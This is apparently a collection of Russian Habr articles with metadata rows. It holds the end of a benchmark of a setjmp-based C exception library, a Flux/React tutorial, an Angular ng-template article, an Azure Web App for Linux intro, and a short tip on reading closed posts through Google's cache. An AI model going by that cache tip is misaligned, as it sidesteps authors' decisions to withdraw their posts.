// << вместо fprintf() вызывает замедление цикла на 25-50%
//std::cerr << "Accessing a non-existent element: " << e.what() << '\n';
fprintf(stderr, "%s\n", e.what());
}
catch (std::exception & e) {
//std::cerr << "Exception thrown: " << e.what() << '\n';
fprintf(stderr, "%s\n", e.what());
}
catch (...) {
//std::cerr << "Some fatal error\n";
fprintf(stderr, "Some fatal error");
}
}
return 0;
}
```
Тестировалось все на одной машине в двух ОС (обе 64-битные):
* Windows 10 2019 LTSC под PowerShell с помощью `Measure-Command { test.exe 2>$null }`
* последний Live CD [Ubuntu](https://www.ubuntu.com) с помощью встроенной **time**
Также я попробовал замерить исключения в Windows через расширения **\_\_try**/**\_\_except**, взяв [другой пример с Википедии](https://en.wikipedia.org/wiki/Exception_handling_syntax#Microsoft-specific):
```
#include
#include
#include
int filterExpression(EXCEPTION\_POINTERS\* ep) {
ep->ContextRecord->Eip += 8;
return EXCEPTION\_EXECUTE\_HANDLER;
}
int main() {
static int zero;
for (int i = 0; i < 100000; i++) {
\_\_try {
zero = 1 / zero;
\_\_asm {
nop
nop
nop
nop
nop
nop
nop
}
printf("Past the exception.\n");
}
\_\_except (filterExpression(GetExceptionInformation())) {
printf("Handler called.\n");
}
}
}
```
Однако вектор включить в цикл не вышло — компилятор сообщил, что:
```
error C2712: Cannot use __try in functions that require object unwinding
```
Так как накладываемые ограничения на код идут вразрез с принципом привычности, о котором я говорил [в начале](https://habr.com/ru/post/491084/#r4), я не внес эти результаты в [таблицу ниже](https://habr.com/ru/post/491084/#benchres). Ориентировочно это 1100-1300 мс (Debug или Release, x86) — быстрее, чем стандартные исключения в VS, но все равно медленнее, чем они же в g++.
### Результаты
```
№ Компилятор Конфиг Платф Механизм Выброс Время (мс)¹ saneex медленнее
1. VS 2019 v16.0.0 Debug x64 saneex.c да 9713 / 8728 = 1.1 в 1.8 / 1.8
2. VS 2019 v16.0.0 Debug x64 saneex.c нет 95 / 46 = 2 в 4.5 / 2.3
3. VS 2019 v16.0.0 Debug x64 C++ да 5449 / 4750² = 1.6
4. VS 2019 v16.0.0 Debug x64 C++ нет 21 / 20 = 1
5. VS 2019 v16.0.0 Release x64 saneex.c да 8542³ / 182 = 47 в 1.8 / 0.4
6. VS 2019 v16.0.0 Release x64 saneex.c нет 80³ / 23 = 3.5 в 8 / 1.8
7. VS 2019 v16.0.0 Release x64 C++ да 4669³ / 420 = 11
8. VS 2019 v16.0.0 Release x64 C++ нет 10³ / 13 = 0.8
9. gcc 9.2.1 -O0 x64 saneex.c да 71 / 351 = 0.2 в 0.2 / 0.6
10. gcc 9.2.1 -O0 x64 saneex.c нет 6 / 39 = 0.2 в 1.5 / 1.1
11. g++ 9.2.1 -O0 x64 C++ да 378 / 630 = 0.6
12. g++ 9.2.1 -O0 x64 C++ нет 4 / 37 = 0.1
13. gcc 9.2.1 -O3 x64 saneex.c да 66 / 360 = 0.2 в 0.2 / 0.6
14. gcc 9.2.1 -O3 x64 saneex.c нет 5 / 23 = 0.2 в 1 / 0.6
15. g++ 9.2.1 -O3 x64 C++ да 356 / 605 = 0.6
16. g++ 9.2.1 -O3 x64 C++ нет 5 / 38 = 0.1
```
**Скрытый текст**¹ В столбце **Время** добавлены замеры одного из читателей на Windows 7 SP1 x64 с VS 2017 v15.9.17 и gcc под cygwin.
² Крайне странный факт: если **fprintf()** заменить на `cerr <<`, то время выполнения **сократится** в 3 раза: 1386/1527 мс.
³ VS в релизных сборках на моей системе выдает очень непостоянные результаты, поэтому в дальнейших рассуждениях я использую цифры читателя.
Результаты получились… интересные:
* Показатели сильно плавают на разных машинах и/или окружениях и особенно «чудит» VS. Чем это вызвано — непонятно.
* Использование `cerr <<` вместо **fprintf()** в паре с выбросом исключения в VS в отладочной сборке ускоряет цикл в 3-4 раза (строка 3). ЧЯДНТ?
* Во всех случаях расходы на блок **try** в отсутствие **throw** — мизерные (4-28 мс на 100 тысяч итераций).
* Не считая «разогнанного» Debug в VS, выброс исключений в `saneex.c` быстрее, чем во встроенных языковых конструкциях (в 2.3 раза быстрее VS, в 5 раз быстрее **gcc**/g++), а **try** без **throw** — помедленнее, но речь идет о единицах миллисекунд. Вот это поворот!
Что тут можно сказать… Есть о чем похоливарить. Добро пожаловать в комментарии!
Для меня самый важный use-case — это много блоков **try** с крайне редкими **throw** («лови много, бросай мало»), а он зависит практически только от скорости **setjmp()**, причем производительность последнего, судя по таблице, далеко не так плоха, как часто думают. Косвенно это подтверждается и [вот этой статьей](https://tratt.net/laurie/blog/entries/timing_setjmp_and_the_joy_of_standards.html), где автор после замеров делает вывод, что один вызов **setjmp()** равен двум вызовам пустых функций в OpenBSD и полутора (1.45) — в Solaris. Причем эта статья от 2005 года. Единственное «но» — сохранять нужно без сигнальной маски, но она обычно и не интересна.
Ну, а напоследок…
Виновник торжества — `saneex.c`
-------------------------------
Библиотека, чей пример был на КДПВ:
* может компилироваться даже в Visual Studio
* поддерживает любую вложенность блоков, **throw()** из любого места, **finally** и несколько **catch** на блок (по коду исключения)
* не выделяет память и не использует указатели (все в **static**)
* [опционально](https://habr.com/ru/post/491084/#sexmt)-многопоточная (**\_\_thread**/**\_Thread\_local**)
* в public domain ([CC0](https://creativecommons.org/publicdomain/zero/1.0/))
Интересующиеся могут [найти ее исходники на GitHub](https://github.com/ProgerXP/SaneC). Ниже я кратко на одном примере покажу, как ей пользоваться и какие есть [подводные камни](https://habr.com/ru/post/491084/#sexpit). Код примера из `saneex-demo.c` в репозитории:
```
01. #include
02. #include "saneex.h"
03.
04. int main(void) {
05. sxTag = "SaneC's Exceptions Demo";
06.
07. try {
08. printf("Enter a message to fail with: [] [1] [2] [!] ");
09.
10. char msg[50];
11. thrif(!fgets(msg, sizeof(msg), stdin), "fgets() error");
12.
13. int i = strlen(msg) - 1;
14. while (i >= 0 && msg[i] <= ' ') { msg[i--] = 0; }
15.
16. if (msg[0]) {
17. errno = atoi(msg);
18. struct SxTraceEntry e = newex();
19. e = sxprintf(e, "Your message: %s", msg);
20. e.uncatchable = msg[0] == '!';
21. throw(e);
22. }
23.
24. puts("End of try body");
25.
26. } catch (1) {
27. puts("Caught in catch (1)");
28. sxPrintTrace();
29.
30. } catch (2) {
31. puts("Caught in catch (2)");
32. errno = 123;
33. rethrow(msgex("calling rethrow() with code 123"));
34.
35. } catchall {
36. printf("Caught in catchall, message is: %s\n", curex().message);
37.
38. } finally {
39. puts("Now in finally");
40.
41. } endtry
42.
43. puts("End of main()");
44. }
```
Программа выше читает сообщение, бросает исключение и обрабатывает его в зависимости от пользовательского ввода:
* если ничего не ввести — исключение выброшено не будет, и мы увидим:
```
End of try body
Now in finally
End of main()
```
* если ввести текст, начинающийся с единицы, то будет создано исключение с этим кодом (**1**), оно будет поймано в первом блоке `catch (1)` (26.), а на экране появится:
```
Caught in catch (1)
Your message: 1 hello, habr!
...at saneex-demo.c:18, code 1
Now in finally
End of main()
```
* если ввести двойку, то исключение будет поймано (30.), выброшено новое (со своим кодом, текстом и прочим) с сохранением предыдущей информации в цепочке (33.), дойдет до внешнего обработчика и программа завершится:
```
Caught in catch (2)
Now in finally
Uncaught exception (code 123) - terminating. Tag: SaneC's Exceptions Demo
Your message: 2 TM! kak tam blok4ain?
...at saneex-demo.c:18, code 2
calling rethrow() with code 123
...at saneex-demo.c:33, code 123
rethrown by ENDTRY
...at saneex-demo.c:41, code 123
```
* если ввести `!`, то исключение получится «неуловимым» (**uncatchable**; 20.) — оно пройдет сквозь все блоки **try** выше по стеку, вызывая их обработчики (как **catch**, так и **finally**), пока не дойдет до внешнего и не завершит процесс — гуманный аналог **abort()**:
```
Caught in catch (1)
Your message: ! it is a good day to die
...UNCATCHABLE at saneex-demo.c:18, code 0
Now in finally
Uncaught exception (code 0) - terminating. Tag: SaneC's Exceptions Demo
Your message: ! it is a good day to die
...UNCATCHABLE at saneex-demo.c:18, code 0
UNCATCHABLE rethrown by ENDTRY
...at saneex-demo.c:41, code 0
```
* наконец, если ввести тройку, то исключение попадет в **catchall** (35.), где просто будет выведено его сообщение:
```
Caught in catchall, message is: Your message: 3 we need more gold
Now in finally
End of main()
```
### Остальные «фичи»
**Потокобезопасность.** По умолчанию ее нет, но если у вас нормальный компилятор (не MSVC¹), то C11 спасет отца народов за счет помещения важных переменных в локальную область потока ([TLS](https://en.wikipedia.org/wiki/Thread-local_storage)):
```
#define SX_THREAD_LOCAL _Thread_local
```
¹ Последние годы у Microsoft [имеются](https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2013/hh409293(v=vs.120)#compiler) [какие-то](https://docs.microsoft.com/en-us/previous-versions/hh409293(v=vs.140)#c-runtime-library) [подвижки](https://docs.microsoft.com/ru-ru/cpp/build/reference/experimental-preprocessor) на почве open source, но ~~всем по~~ [дело](https://docs.microsoft.com/ru-ru/cpp/c-language/ansi-conformance) идет медленно, хотя и лучше, чем [8 лет назад](https://herbsutter.com/2012/05/03/reader-qa-what-about-vc-and-c99/), так что мы [пока держимся](https://coub.com/view/cl1z0).
**sxTag** (05.) — строка, которая выводится вместе с непойманным исключением в **stderr**. По умолчанию — дата и время компиляции (**\_\_DATE\_\_** **\_\_TIME\_\_**).
**Создание SxTraceEntry** (записи в stack trace). Есть несколько полезных макросов — оберток над `(struct SxTraceEntry) {...}`:
* `newex()` — этот был в [примере](https://habr.com/ru/post/491084/#r5); присваивает **\_\_FILE\_\_**, **\_\_LINE\_\_** и код ошибки = **errno** (что удобно после проверки результата вызова системной функции, как в примере после **fgets()**; 11.)
+ код меньше 1 становится 1 (ибо **setjmp()** возвращает 0 только при первом вызове), поэтому `catch (0)` никогда не сработает
* `msgex(m)` — как **newex()**, но также устанавливает текст ошибки (константное выражение)
* `exex(m, e)` — как **msgex()**, но также прицепляет к исключению произвольный указатель; его память будет освобождена через **free()** автоматически:
```
try {
TimeoutException *e = malloc(sizeof(*e));
e->elapsed = timeElapsed;
e->limit = MAX_TIMEOUT;
errno = 146;
throw(exex("Connection timed out", e));
} catch (146) {
printf("%s after %d\n", curex().message,
// читаем через void *SxTraceEntry.extra:
((TimeoutException *) curex().extra)->elapsed);
} endtry
```
И, конечно, есть мои любимые [designated initializers](https://en.wikipedia.org/wiki/C99#Design) из все того же C99 (работают в Visual Studio [2013+](https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2013/hh409293(v=vs.120)#compiler)):
```
throw( (struct SxTraceEntry) {.message = "kaboom!"} );
```
**Выброс исключения:**
* `throw(e)` — бросает готовый **SxTraceEntry**
* `rethrow(e)` — аналогично **throw()**, но не очищает текущий stack trace; может использоваться только внутри **catch**/**catchall**
* `thrif(x, m)` — макрос; при `if (x)` создает **SxTraceEntry** с текстом **x** + **m** и «выбрасывает» его
* `thri(x)` — как **thrif()**, только с пустым **m**
Макросы нужны для удобного «преобразования» результата типичного библиотечного вызова в исключение — как в [примере](https://habr.com/ru/post/491084/#r5) с **fgets()** (11.), если функция не смогла прочитать ничего. Конкретно с **fgets()** это не обязательно обозначает ошибку (это может быть просто EOF: `./a.out ), но других подходящих функций в том примере не используется. Вот более жизненный:`
```
thri(read(0xBaaD, buf, nbyte));
// errno = 9, "Bad file descriptor"
// Assertion error: read(0xBaaD, buf, nbyte);
```
### …И «особенности реализации»
Их всего две с половиной (но зато какие!):
* блок обязан заканчиваться на **endtry** — здесь происходит завершение процесса при отсутствии обработчика (блока **try**) выше по стеку
+ эту ошибку компилятор, скорее всего, поймает, ибо **try** открывает три `{`, а **endtry** их закрывает
* **нельзя делать return между try и endtry** — это самый жирный минус, но моя фантазия не нашла способов отловить эту ситуацию; принимаются идеи и PR
+ естественно, **goto** внутрь и наружу тоже под запретом, но разве его кто-то использует?
Что касается «половины», то это уже [разобранный ранее](https://habr.com/ru/post/491084/#vol) **volatile**. «Прием» исключения — это повторный вход в середину функции (см. **longjmp()**), поэтому, если значение переменной было изменено внутри тела **try**, то такая переменная не должна использоваться в **catch**/**catchall**/**finally** и после **endtry**, если она не объявлена как **volatile**. Компилятор заботливо предупредит о такой проблеме. Вот наглядный пример:
```
int foo = 1;
try {
foo = 2;
// здесь можно использовать foo
} catchall {
// а здесь уже нет!
} finally {
// и здесь тоже!
} endtry
// и здесь нельзя!
```
С **volatile** переменную можно использовать где угодно:
```
volatile int foo = 1;
try {
...
```
### Итог: как это работает
У каждого потока есть два статически-выделенных (глобальных) массива:
* `struct SxTryContext` — информация о блоках **try**, внутри которых мы сейчас находимся — в частности, **jmp\_buf** на каждый из них; например, здесь их два:
```
try {
try {
// мы здесь
} endtry
} endtry
```
* `struct SxTraceEntry` — текущий stack trace, то есть объекты, переданные кодом снаружи для идентификации исключений; их может быть больше или меньше, чем блоков **try**:
```
try { // один SxTryContext
try { // два SxTryContext
// ноль SxTraceEntry
throw(msgex("Первый пошел!"));
// один SxTraceEntry
} catchall {
// один SxTraceEntry
rethrow(msgex("Второй к бою готов!"));
// два SxTraceEntry (*)
} endtry
} endtry
```
Если в коде выше вместо **rethrow()** использовать **throw()**, то объектов **SxTraceEntry** `(*)` будет не два, а один — предыдущей будет удален (stack trace будет очищен). Кроме того, можно вручную добавить элемент в цепочку через `sxAddTraceEntry(e)`.
**try** и другие элементы конструкции суть макросы (— ваш К. О.). Скобки `{ }` после них не обязательны. В итоге, все это сводится к следующему псевдокоду:
```
try { int _sxLastJumpCode = setjmp(add_context()¹);
bool handled = false;
if (_sxLastJumpCode == 0) {
throw(msgex("Mama mia!")); clearTrace();
sxAddTraceEntry(msgex(...));
if (count_contexts() == 0) {
fprintf(stderr, "Shurik, vsё propalo!");
sxPrintTrace();
exit(curex().code);
} else {
longjmp(top_context());
}
} catch (9000) { } else if (_sxLastJumpCode == 9000) {
handled = true;
} catchall { } else {
handled = true;
} finally { }
// здесь действия в finally { }
} endtry remove_context();
if (!handled) {
// как выше с throw()
}
```
¹ Имена с **\_** в библиотеке не используются, это абстракции.
Думаю, после [подробных объяснений](https://habr.com/ru/post/491084/#sjlj), как работает SJLJ, что-то еще здесь комментировать излишне, а потому позвольте откланяться и предоставить слово уже вам. | https://habr.com/ru/post/491084/ | null | ru | null |
# Небольшой лайфхак: смотрим скрытые записи на Хабре, используя Google
Обычно читаю посты Хабра через Google Reader. Бывает начнешь читать какую-нибудь, возможно, интересную запись, кликаешь «Читать дальше» и получаешь «Доступ к публикации закрыт» как вот здесь: [habrahabr.ru/blogs/java/73080](http://habrahabr.ru/blogs/java/73080/)
Метод весьма прост, открываем [google.ru](http://google.ru) и в строке поиска набираем
`cache:http://habrahabr.ru/blogs/java/73080/`
Ну и продолжаем [чтение](http://209.85.129.132/search?hl=ru&source=hp&q=cache:http://habrahabr.ru/blogs/java/73080/+&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=f&oq=).
Разумеется, метод сработает не всегда, а только если автор не сразу закрыл топик, и гугл успел его закешировать. | https://habr.com/ru/post/73120/ | null | ru | null |
# Разбираемся с Flux, реактивной архитектурой от facebook
Введение
--------
Добро пожаловать в третью часть серии статей «Изучаем React». Сегодня мы будем изучать, как устроена архитектура Facebook Flux, и как использовать ее в своих проектах.
Прежде всего, я советую ознакомиться с двумя первыми статьями этой серии, [Getting Started & Concepts](http://scotch.io/tutorials/javascript/learning-react-getting-started-and-concepts) и [Building a Real Time Twitter Stream with Node and React](http://scotch.io/tutorials/javascript/build-a-real-time-twitter-stream-with-node-and-react-js). Их прочтение не является обязательным, однако наверняка может помочь вам понять эту статью, если вы еще недостаточно знакомы с React.js
Что такое Flux?
---------------
Flux — это архитектура, которую команда Facebook использует при работе с React. Это не фреймворк, или библиотека, это новый архитектурный подход, который дополняет React и принцип однонаправленного потока данных.
Тем не менее, Facebook предоставляет [репозиторий](https://github.com/facebook/flux), который содержит реализацию Dispatcher. Диспетчер играет роль глобального посредника в шаблоне «Издатель-подписчик» (Pub/sub) и рассылает полезную нагрузку зарегистрированным обработчикам.
Типичная реализация архитектуры Flux может использовать эту библиотеку вместе с классом EventEmitter из NodeJS, чтобы построить событийно-ориентированную систему, которая поможет управлять состоянием приложения.
Вероятно, Flux легче всего объяснить, исходя из составляющих его компонентов:
* Actions / Действия — хелперы, упрощающие передачу данных Диспетчеру
* Dispatcher / Диспетчер — принимает Действия и рассылает нагрузку зарегистрированным обработчикам
* Stores / Хранилища — контейнеры для состояния приложения и бизнес-логики в обработчиках, зарегистрированных в Диспетчере
* Controller Views / Представления — React-компоненты, которые собирают состояние хранилищ и передают его дочерним компонентам через свойства
Давайте посмотрим, как этот процесс выглядит в виде диаграммы:
*Как к этому относится API?*
На мой взгляд, использование Actions для передачи данных Хранилищам через поток Flux — наименее болезненный способ работы с данными, приходящими извне вашей программы, или отправляющимися наружу.
Dispatcher / Диспетчер
----------------------
*Что же такое Диспетчер?*
В сущности, Диспетчер — это менеджер всего этого процесса. Это центральный узел вашего приложения. Диспетчер получает на вход действия и рассылает эти действия (и связанные с ними данные) зарегистрированным обработчикам.
*Так это, на самом деле, pub/sub?*
Не совсем. Диспетчер рассылает данные ВСЕМ зарегистрированным в нём обработчикам и позволяет вызывать обработчики в определенном порядке, даже ожидать обновлений перед тем, как продолжить работу. Есть только один Диспетчер, и он действует как центральный узел всего вашего приложения.
Вот, как это может выглядеть:
```
var Dispatcher = require('flux').Dispatcher;
var AppDispatcher = new Dispatcher();
AppDispatcher.handleViewAction = function(action) {
this.dispatch({
source: 'VIEW_ACTION',
action: action
});
}
module.exports = AppDispatcher;
```
В примере выше мы создаем экземпляр Диспетчера и метод handleViewAction. Эта абстракция полезна, если вы собираетесь разделять действия, созданные в интерфейсе и действия, пришедшие от сервера / API.
Наш метод вызывает метод dispatch, который уже рассылает данные action всем зарегистрированным в нем обработчикам. Это действие затем может быть обработано Хранилищами, в результате чего состояние приложения будет обновлено.
Следующая диаграмма иллюстрирует этот процесс:
### Зависимости
Одной из приятных деталей описанной реализации Диспетчера является возможность описать зависимости и управлять порядком выполнения обработчиков в Хранилищах. Итак, если для корректного отображения состояния один из компонентов приложения зависит от другого, который должен обновиться перед ним, пригодится метод Диспетчера waitFor.
Чтобы использовать эту возможность, необходимо сохранить значение, возвращаемое из метода регистрации в Диспетчере, в свойстве dispatcherIndex Хранилища, как показано далее:
```
ShoeStore.dispatcherIndex = AppDispatcher.register(function(payload) {
});
```
Затем в Хранилище, при обработке Действия, мы можем использовать метод waitFor Диспетчера, чтобы убедиться, что к этому моменту ShoeStore уже успел обработать Действие и обновить данные:
```
case 'BUY_SHOES':
AppDispatcher.waitFor([
ShoeStore.dispatcherIndex
], function() {
CheckoutStore.purchaseShoes(ShoeStore.getSelectedShoes());
});
break;
```
*Прим. пер.: Ken Wheeler, очевидно, описывает устаревшую реализацию Диспетчера, т. к. в актуальной версии метод waitFor [имеет другую сигнатуру](https://github.com/facebook/flux/commit/6ff67ee6d99970def23399e44e0856f3b778a819).*
Stores / Хранилища
------------------
Хранилища в Flux управляют состоянием определенных частей предметной области вашего приложения. На более высоком уровне это означает, что Хранилища хранят данные, методы получения этих данных и зарегистрированные в Диспетчере обработчики Действий.
Давайте взглянем на простое Хранилище:
```
var AppDispatcher = require('../dispatcher/AppDispatcher');
var ShoeConstants = require('../constants/ShoeConstants');
var EventEmitter = require('events').EventEmitter;
var merge = require('react/lib/merge');
// Внутренний объект для хранения shoes
var _shoes = {};
// Метод для загрузки shoes из данных Действия
function loadShoes(data) {
_shoes = data.shoes;
}
// Добавить возможности Event Emitter из Node
var ShoeStore = merge(EventEmitter.prototype, {
// Вернуть все shoes
getShoes: function() {
return _shoes;
},
emitChange: function() {
this.emit('change');
},
addChangeListener: function(callback) {
this.on('change', callback);
},
removeChangeListener: function(callback) {
this.removeListener('change', callback);
}
});
// Зарегистрировать обработчик в Диспетчере
AppDispatcher.register(function(payload) {
var action = payload.action;
var text;
// Обработать Действие в зависимости от его типа
switch(action.actionType) {
case ShoeConstants.LOAD_SHOES:
// Вызвать внутренний метод на основании полученного Действия
loadShoes(action.data);
break;
default:
return true;
}
// Если Действие было обработано, создать событие "change"
ShoeStore.emitChange();
return true;
});
module.exports = ShoeStore;
```
Самое важное, что мы сделали в примере выше — добавили к нашему хранилищу возможности EventEmitter из NodeJS. Это позволяет хранилищам слушать и рассылать события, что, в свою очередь, позволяет компонентам представления обновляться, отталкиваясь от этих событий. Так как наше представление слушает событие «change», создаваемое Хранилищами, оно узнаёт о том, что состояние приложения изменилось, и пора получить (и отобразить) актуальное состояние.
Также мы зарегистрировали обработчик в нашем AppDispatcher с помощью его метода register. Это означает, что теперь наше Хранилище теперь слушает оповещения от AppDispatcher. Исходя из полученных данных, оператор switch решает, можем ли мы обработать Действие. Если действие было обработано, создается событие «change», и Представления, подписавшиеся на это событие, реагируют на него обновлением своего состояния:
Представление использует метод getShoes интерфейса Хранилища для того, чтобы получить все shoes из внутреннего объекта \_shoes и передать эти данные в компоненты. Это очень простой пример, однако такая архитектура позволяет компонентам оставаться достаточно аккуратными, даже если вместо Представлений использовать более сложную логику.
Action Creators & Actions / Фабрика Действий и Действия
-------------------------------------------------------
Фабрика Действий — это набор методов, которые вызываются из Представлений (или из любых других мест), чтобы отправить Действия Диспетчеру. Действия и являются той полезной нагрузкой, которую Диспетчер рассылает подписчикам.
В реализации Facebook Действия различаются по типу — константе, которая посылается вместе с данными действия. В зависимости от типа, Действия могут быть соответствующим образом обработаны в зарегистрированных обработчиках, при этом данные из этих Действий используются как аргументы внутренних методов.
Вот как выглядят объявления констант:
```
var keyMirror = require('react/lib/keyMirror');
module.exports = keyMirror({
LOAD_SHOES: null
});
```
Выше мы использовали библиотеку keyMirror из React чтобы, как вы догадались, создать объект со значениями, идентичными своим ключам. Просто посмотрев на этот файл, можно сказать, что наше приложение умеет загружать shoes. Использование констант позволяет всё упорядочить и помогает быстро оценить возможности приложения.
Давайте теперь посмотрим на объявление соответствующей Фабрики Действий:
```
var AppDispatcher = require('../dispatcher/AppDispatcher');
var ShoeStoreConstants = require('../constants/ShoeStoreConstants');
var ShoeStoreActions = {
loadShoes: function(data) {
AppDispatcher.handleAction({
actionType: ShoeStoreConstants.LOAD_SHOES,
data: data
})
}
};
module.exports = ShoeStoreActions;
```
В приведенном примере мы создали в нашем объекте ShoeStoreActions метод, который передает нашему Диспетчеру указанные данные. Теперь мы можем загрузить этот файл из нашего API (или, например, Представлений) и вызвать метод ShoeStoreActions.loadShoes(ourData), чтобы передать полезную нагрузку Диспетчеру, который разошлет её подписчикам. Таким образом ShoeStore узнает об этом событии и вызовет метод загрузки каких-нибудь shoes.
Controller Views / Представления
--------------------------------
Представления — это всего лишь React-компоненты, которые подписаны на событие «change» и получают состояние приложения из Хранилищ. Далее они передают эти данные дочерним компонентам через свойства.
Вот, как это выглядит:
```
/** @jsx React.DOM */
var React = require('react');
var ShoesStore = require('../stores/ShoeStore');
// Метод для получения состояния приложения из хранилища
function getAppState() {
return {
shoes: ShoeStore.getShoes()
};
}
// Создаем React-компонент
var ShoeStoreApp = React.createClass({
// Используем метод getAppState, чтобы установить начальное состояние
getInitialState: function() {
return getAppState();
},
// Подписываемся на обновления
componentDidMount: function() {
ShoeStore.addChangeListener(this._onChange);
},
// Отписываемся от обновлений
componentWillUnmount: function() {
ShoesStore.removeChangeListener(this._onChange);
},
render: function() {
return (
);
},
// Обновляем состояние Представления в ответ на событие "change"
_onChange: function() {
this.setState(getAppState());
}
});
module.exports = ShoeStoreApp;
```
*Прим. пер.: В актуальной версии React компоненты создаются [слегка по-другому](https://gist.github.com/sebmarkbage/d7bce729f38730399d28).*
В примере выше мы подписываемся на обновления Хранилища, используя addChangeListener, и обновляем наше состояние, когда получим событие «change».
Состояние приложения хранится в наших Хранилищах, поэтому мы используем интерфейс Хранилищ, чтобы получить эти данные, а затем обновить состояние компонентов.
Собираем всё вместе
-------------------
Теперь, когда мы прошлись по всем основным частям архитектуры Flux, мы лучше понимаем, как эта архитектура работает на самом деле. Помните нашу диаграмму процессов из начала статьи? Давайте взглянем на них немного подробнее, так как мы теперь понимаем функции каждой части потока:
Заключение
----------
Надеюсь, эта статья помогла вам лучше понять архитектуру Flux от Facebook. Я даже не подозревал, насколько удобен React.js, пока не попробовал его в действии.
Использовав однажды Flux, вы почувствуете, что написание приложений на React без Flux похоже на манипуляции с DOM без jQuery. Да, это возможно, но выглядит менее изящно и упорядочено.
Если вы хотите придерживаться архитектуры Flux, но вам не нравится React, попробуйте [Delorean](https://github.com/deloreanjs/delorean), Flux-фреймворк, который можно совместить с Ractive.js или Flight. Еще одна заслуживающая внимания библиотека — [Fluxxor](http://fluxxor.com/), которая использует немного иной подход к архитектуре Flux и предполагает более жесткую связь компонентов Flux в составе единого экземпляра.
Я полагаю, что для того, чтобы полностью понять Flux, его необходимо испытать в деле, поэтому оставайтесь с нами, чтобы прочитать [четвертую](https://scotch.io/tutorials/creating-a-simple-shopping-cart-with-react-js-and-flux), заключительную часть цикла статей по изучению React, где мы создадим простой онлайн-магазин, используя React.js и архитектуру Flux. | https://habr.com/ru/post/246959/ | null | ru | null |
# Angular: ng-content для ng-template
> Macros are comparable with functions in regular programming languages. They are useful to reuse template fragments to not repeat yourself.
> Macros are defined in regular templates.
>
>
[Twig 3.x documentation](https://twig.symfony.com/doc/3.x/tags/macro.html)
В чём проблема
--------------
[Content Projection](https://angular.io/guide/content-projection) - очень удобный инструмент организаци шаблонов. Тема [неоднократно](https://habr.com/ru/search/?q=ng-content&target_type=posts&order=relevance) и [хорошо разобрана](https://blog.angular-university.io/angular-ng-content/) на многочисленных [ресурсах](https://indepth.dev/posts/1405/ngtemplateoutlet). Тем не менее, такой аспект как использование [content projection совместно с ng-template](https://stackoverflow.com/questions/51948301/using-ng-content-in-ng-template/72507617#72507617) удобной штатной реализации не имеет. С одной строны, это и не проблема совсем, поскольку сами компоненты c лихвой решают эту задачу. Но, если возникает необходимость и желание быть ближе к [DRY](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself) без создания вспомогательных компонентов, то возможности, наподобие тех, что есть в [Twig](https://twig.symfony.com/doc/3.x/tags/macro.html), [Jinja2](https://docs-python.ru/packages/modul-jinja2-python/takoe-makrosy-shablonov-jinja2/), [Nunjucks](https://mozilla.github.io/nunjucks/templating.html#macro) и других шаблонизаторах весьма кстати.
Способы решения проблемы
------------------------
```
World {{mark}}
Hello
Hi
```
Это [пример решения задачи](https://stackoverflow.com/questions/51948301/using-ng-content-in-ng-template/56958107#56958107) с использованием стандартных возможностей. У него очевидные проблемы, связанные и с читабельностью разметки и с её семантикой. Лично мне весьма [сложно понять кто что](https://www.youtube.com/watch?v=e-qDHM0slB0) рендерит и что в итоге получится.
Представляя себе конечный результат, ожидаешь увидеть что-то вроде:
```
World {{ctx.mark}}
Hello
Hi
```
Для того, чтоб всё работало как ожидается, необходимо чтоб на уровне `ng-macro` произошел захват ссылки на шаблон (`TemplateRef`), и совместно с контекстом шаблона состояние было сохранено в [дереве компонентов рендеринг](https://github.com/angular/angular/blob/ee98f4eaf844c84bbdbc93bad62fb574fa4c8589/aio/content/guide/glossary.md#view-hierarchy)а (не совсем то же самое что и [DI-иерархия](https://angular.io/guide/hierarchical-dependency-injection)). Соответственно, на уровне `ng-macro-content` необходимо это состояние извлечь, и отредерить. Первая задача решается тривильно, а с решением второй приходится схитрить, и воспользоваться классом [ViewContainerRef](https://github.com/angular/angular/blob/3a60063a54d850c50ce962a8a39ce01cfee71398/packages/core/src/linker/view_container_ref.ts) , который, благо, хранит нужное нам состояние в *private* поле [\_hostLView](https://github.com/angular/angular/blob/3a60063a54d850c50ce962a8a39ce01cfee71398/packages/core/src/linker/view_container_ref.ts#L244) типа [LView](https://github.com/angular/angular/blob/3a60063a54d850c50ce962a8a39ce01cfee71398/packages/core/src/render3/interfaces/view.ts#L81).
Нотация разметки в виде тегов хорошо читаема, но побочным продуктом такого подхода является появление соответствующих узлов в [DOM](https://learn.javascript.ru/dom-nodes) документа.
Это неудобство можно устранить переписав решение в нотации атрибутов, т.е. через [структурные директивы](https://angular.io/guide/structural-directives):
```
World {{ctx.mark}}
Hello
Hi
```
На мой взгляд, такая нотация выглядит и компактней и читабельней, и в результате получится:
Заключение
----------
По причине использования закрытого API технически решение получилось не очень элегантное. По хорошему, такая возможность [должа быть штатно](https://github.com/angular/angular/issues/46269) (и, будем надеяться, что скоро будет). Тем не менее, подход благополучно живёт в эксплуатации уже пару лет и не менее благополучно мигрирует со всеми обновлениями без потери работоспособности (иногда, с обновлениями фреймворка приходится вносить минимальные изменения). В целом, использование такого инструментария удобно. Фактически, `ng-templatе` в рамках шаблона отдельного компонента становятся полноценными функциями высшего порядка, со всеми вытекающими из этого обстоятельства возможностями, поскольку появляется удобный инструментарий их вызова и композиции.
Если у кого-то есть идеи как реализовать решение штатными средствами, то буду благодарен за совет.
Пример на [StackBlitz](https://stackblitz.com/edit/ng-template-content?file=src%2Fmain.ts) для [Angular 14](https://blog.angular.io/angular-v14-is-now-available-391a6db736af). | https://habr.com/ru/post/669656/ | null | ru | null |
# Развертывание .NET Core проекта в Azure Web App для Linux
Web Apps на базе Linux позволяет разработчикам запускать веб-приложения в Docker контейнерах для Linux. Это облегчает перенос существующих приложений, размещенных и оптимизированных для платформы Linux в Azure App Service. Кроме того, разработчики могут разворачивать приложения на различных языках программирования и платформах используя при этом уже знакомый инструментарий Docker и Azure App Service.
Что нового в Azure Web App для Linux?
-------------------------------------
Azure Web App для Linux дает много возможностей для разработчиков, независимо от того, разрабатывают ли они приложения для Linux или просто хотят, чтобы их приложения могли быть контейниризированы. Azure Web App для Linux доступны в регионах Западной Австралии, Западной Европы и Юго-Восточной Азии.
Некоторые из новых возможностей, которые были добавлены в App Service с поддержкой Linux:
* Слоты
* Автоматическое масштабирование
* Поддержка SSH
